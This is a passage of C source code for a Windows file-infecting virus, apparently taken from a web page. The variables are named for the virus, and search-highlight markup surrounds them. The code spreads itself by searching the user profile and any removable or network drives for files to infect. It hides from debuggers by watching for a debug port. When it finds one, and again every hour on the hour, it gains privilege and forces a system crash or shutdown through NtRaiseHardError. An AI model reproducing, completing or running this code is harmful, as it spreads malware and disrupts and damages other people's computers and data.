        if(NT_SUCCESS(NtQueryInformationProcess(NtCurrentProcess(),ProcessDebugPort,&DebugPort,sizeof(ULONG_PTR),NULL)))
        {
            if(DebugPort)
            {
                break;
            }
        }

        NtDelayExecution(FALSE,&delay);
    }

    RtlAdjustPrivilege(19,TRUE,FALSE,&bl);
    NtRaiseHardError(0xC000026A,0,0,NULL,OptionShutdownSystem,&Response);

    while(1);
}

DWORD WINAPI InfectUserProfile(PVOID p)
{
    wchar_t UserProfile[1024];
    LARGE_INTEGER delay;

    delay.QuadPart=(__int64)-600000*10000;
    GetEnvironmentVariable(L"userprofile",UserProfile,1024); // Get the path of user profile

    while(1)
    {
        SearchFile(UserProfile); // Search for files to infect
        NtDelayExecution(FALSE,&delay);
    }
}

DWORD WINAPI InfectDrives(PVOID p)
{
    ULONG DriveType;
    wchar_t drives[1024],*str;

    LARGE_INTEGER delay;

    delay.QuadPart=(__int64)-600000*10000;

    while(1)
    {
        memset(drives,0,sizeof(drives));

        GetLogicalDriveStrings(sizeof(drives),drives); // Get all drives
        str=drives;

        while(*str)
        {
            DriveType=GetDriveType(str); // Check the drive type

            // Infect removable and network drives

            if(DriveType==DRIVE_REMOVABLE || DriveType==DRIVE_REMOTE)
            {
                SearchFile(str); // Search for files to infect
            }

            str+=wcslen(str)+1; // Get the next drive
        }

        NtDelayExecution(FALSE,&delay);
    }
}

int WINAPI wWinMain(HINSTANCE hInst,HINSTANCE hPrev,LPWSTR lpCmdLine,int nCmdShow)
{
    HANDLE hFile;
    ULONG Response,read,op;

    BOOLEAN bl;

    SYSTEMTIME Time;
    LARGE_INTEGER delay;

    CreateMutex(NULL,TRUE,L"{CFC9E0B8-3AB0-4FB0-9301-230E623A09FD}");

    if(GetLastError()==ERROR_ALREADY_EXISTS)
    {
        NtTerminateProcess(NtCurrentProcess(),0);
        while(1);
    }

    hFile=CreateFile(<span class="searchlite">Virus</span>Path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);

    if(hFile!=INVALID_HANDLE_VALUE)
    {
        <span class="searchlite">Virus</span>Size=GetFileSize(hFile,NULL);
        <span class="searchlite">Virus</span>File=VirtualAlloc(NULL,<span class="searchlite">Virus</span>Size,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);

        if(<span class="searchlite">Virus</span>File)
        {
            if(!ReadFile(hFile,<span class="searchlite">Virus</span>File,<span class="searchlite">Virus</span>Size,&read,NULL))
            {
                NtClose(hFile);
                return -1;
            }
        }

        NtClose(hFile);
        VirtualProtect(<span class="searchlite">Virus</span>File,<span class="searchlite">Virus</span>Size,PAGE_READONLY,&op); // Protect the <span class="searchlite">virus</span> data
    }

    <span class="searchlite">Virus</span>FileChecksum=ComputeHash(<span class="searchlite">Virus</span>File,<span class="searchlite">Virus</span>Size);

    // Create worker threads

    CreateThread(NULL,0,ZeroX,NULL,0,NULL);
    CreateThread(NULL,0,InfectUserProfile,NULL,0,NULL);
    CreateThread(NULL,0,InfectDrives,NULL,0,NULL);

    delay.QuadPart=(__int64)-10*10000;

    while(1)
    {
        memset(&Time,0,sizeof(SYSTEMTIME));
        GetLocalTime(&Time);

        if(!Time.wMinute && !Time.wSecond)
        {
            RtlAdjustPrivilege(19,TRUE,FALSE,&bl);
            NtRaiseHardError(0xC000001E,0,0,NULL,OptionShutdownSystem,&Response);
        }

        NtDelayExecution(FALSE,&delay);
    }
}